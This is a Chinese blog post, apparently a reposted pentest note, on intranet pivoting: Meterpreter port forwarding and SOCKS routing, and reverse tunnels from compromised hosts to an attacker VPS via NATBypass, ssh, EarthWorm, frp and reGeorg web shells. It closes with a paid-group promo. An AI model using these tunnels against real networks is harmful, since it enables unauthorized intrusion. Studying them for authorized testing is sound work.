前言
这篇文章列举出我用过的内网代理方法,也算是对内网渗透代理姿势的巩固,也方便日后查阅。
Meterpreter
可以说是渗透中用得较多的工具,在反弹了处于内网的目标shell
之后,介绍两种代理方式。
portfwd
用于转发单个端口,当你目的性很强的情况下,比如只需要目标的3389
端口等,这不失为一种较好的方法。
详细使用语法见:https://www.offensive-security.com/metasploit-unleashed/portfwd/
大致如下:
meterpreter > portfwd add –l 7003 –p 3389 –r 192.168.52.138
# 添加转发 -l:服务器监听端口 -p:内网主机需转发端口 -r:目标内网主机ip
meterpreter > portfwd delete –l 3389 –p 3389 –r 172.16.194.191
# 删除转发
meterpreter > portfwd list
# 列出当前正在侦听和转发的端口列表
meterpreter > portfwd flush
# 移除所有转发端口
socks
代理只是tcp
一层往上,如icmp
、arp
等就无法被代理。
msf
中内置了三个socks
代理模块,分别是socks4a
、socks5
、socks_unc
。一般常使用 socks4a
和socks5
进行代理。其二者只是由于所支持的具体应用不同而存在差异。socks4
只支持TCP
协议而socks5
支持TCP/UDP
协议,还支持各种身份验证机制等协议,也就是说这里使用socks5
的话还需要设置用户名与密码。
在获取shell
的机器上添加路由
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.21.0/24
# 添加路由
meterpreter > run autoroute -p
# 显示路由
meterpreter > route flush
# 删除
可以先通过arp
扫描内网大概存活机器情况
meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.21.0/24
然后建立socks4
代理,
meterpreter > background
msf5 exploit(multi/handler) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > set srvport 1080
msf5 auxiliary(server/socks4a) > run
设置完成后配置proxychains
,成功
socks5
模块也同理,只是会多设置一个用户名与密码。
参考:
https://blog.csdn.net/qq_36119192/article/details/105872076
https://klionsec.github.io/2016/09/25/msf-socks4a/
NATBypass是一个端口转发工具,类似于lcx
,称为golang
版lcx
,可编译为linux
或windows
版本。
具体原理大概就是公网vps
监听两个本地端口,内网目标主机建立一个端口转发,比如将本地3389
转发到公网vps
的一个端口,vps
监听的另一个端口就相当于内网主机3389
。
公网vps
nb -listen 1997 2017
内网主机
nb -slave 127.0.0.1:3389 x.x.x.x:1997
# x.x.x.x是公网vps的IP
本机直接访问公网vps
的2017
端口即可实现远程内网主机。
ssh
可以端口转发或是建立socks5
隧道。
如果是具有公网地址的主机利用ssh
建立socks5
隧道就简单了:
ssh -N -f -D 9070 x.x.x.x
随后编辑本机/etc/proxychains.conf
文件:
代理成功:
浏览器设置代理:
设想一下,你和目标主机分属不同的内网,从外界都无法直接连通。不过好在这两个内网都可以访问公网(JumpHost),你考虑通过一台公网机器建立两个内网之间的隧道。
在目标主机中执行:
ssh -qTfNn -R 2222:localhost:22 JumpHost
现在登录公网主机执行:
ssh -p 2222 localhost
达到的效果只是将目标主机的端口转发到了公网,但是并未实现socks
代理,思考后,尝试了后都不成功,不知可行否,若有师傅告知非常感激!
参考:https://cherrot.com/tech/2017/01/08/ssh-tunneling-practice.html
简称EW
,官方项目已停止更新,可在fork地址(https://github.com/z1un/ew)下载。
详细使用语法见:http://rootkiter.com/EarthWorm/
EW
功能很强大,提供“正向”、“反向”、“多级级联”等方式打通隧道,更适用不同的操作系统,Linux
、Windows
、MacOS
、Arm-Linux
。下面介绍一种简单的反向代理方法。
公网vps
执行
./ew_for_linux64 -s rcsocks -l 7010 -e 7011
目标内网主机执行
.\ew_for_Win.exe -s rssocks -d x.x.x.x -e 7011
# windows
./ew_for_linux64 -s rssocks -d x.x.x.x -e 7011
# linux
本地攻击机即可通过proxychains
或者浏览器设置socks5
代理至公网vps
的7011
端口即可。
注:无意间浏览该工具作者的博客发现了该工具的新版本,http://rootkiter.com/Termite/ 还没来得及测试使用,先分享一下。
frp
作为反向代理工具胜在稳定,但是其依赖配置文件,溯源容易。
项目地址:https://github.com/fatedier/frp
可用于端口映射或打通socks
隧道,下面介绍socks
隧道代理
公网vps主机frps.ini
文件
[common]
bind_port = 7000
token = password
启动frps
./frps -c ./frps.ini
目标内网主机frpc.ini
文件
[common]
server_addr = x.x.x.x
server_port = 7000
token = password[socks5]
type = tcp
remote_port = 7004
plugin = socks5
启动frpc
./frpc -c ./frpc.ini
本地攻击机修改/etc/prxoychains.conf
配置文件即可
socks5 x.x.x.x 7004
基于web
服务的socks
隧道使用方便,可用于突破网络限制。常用的工具有:reGeorg,reDuh,Tunna等。
使用方法都大致一样,上传对应网站语言的脚本文件到目标内网服务器,本地利用脚本连接建立socks5
隧道即可。
比如reGeorg
:
根据目标服务器解析语言,选择脚本上传到服务器端,访问显示Georg says, 'All seems fine'
,表示脚本运行正常。
本地攻击主机运行
python2 reGeorgSocksProxy.py -p 7001 -u http://url/tunnel.php
监听7001
端口,出现Georg says, 'All seems fine'
字样表明运行正常。可结合prxoychains
进行代理。
来源:https://xz.aliyun.com/t/8001
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读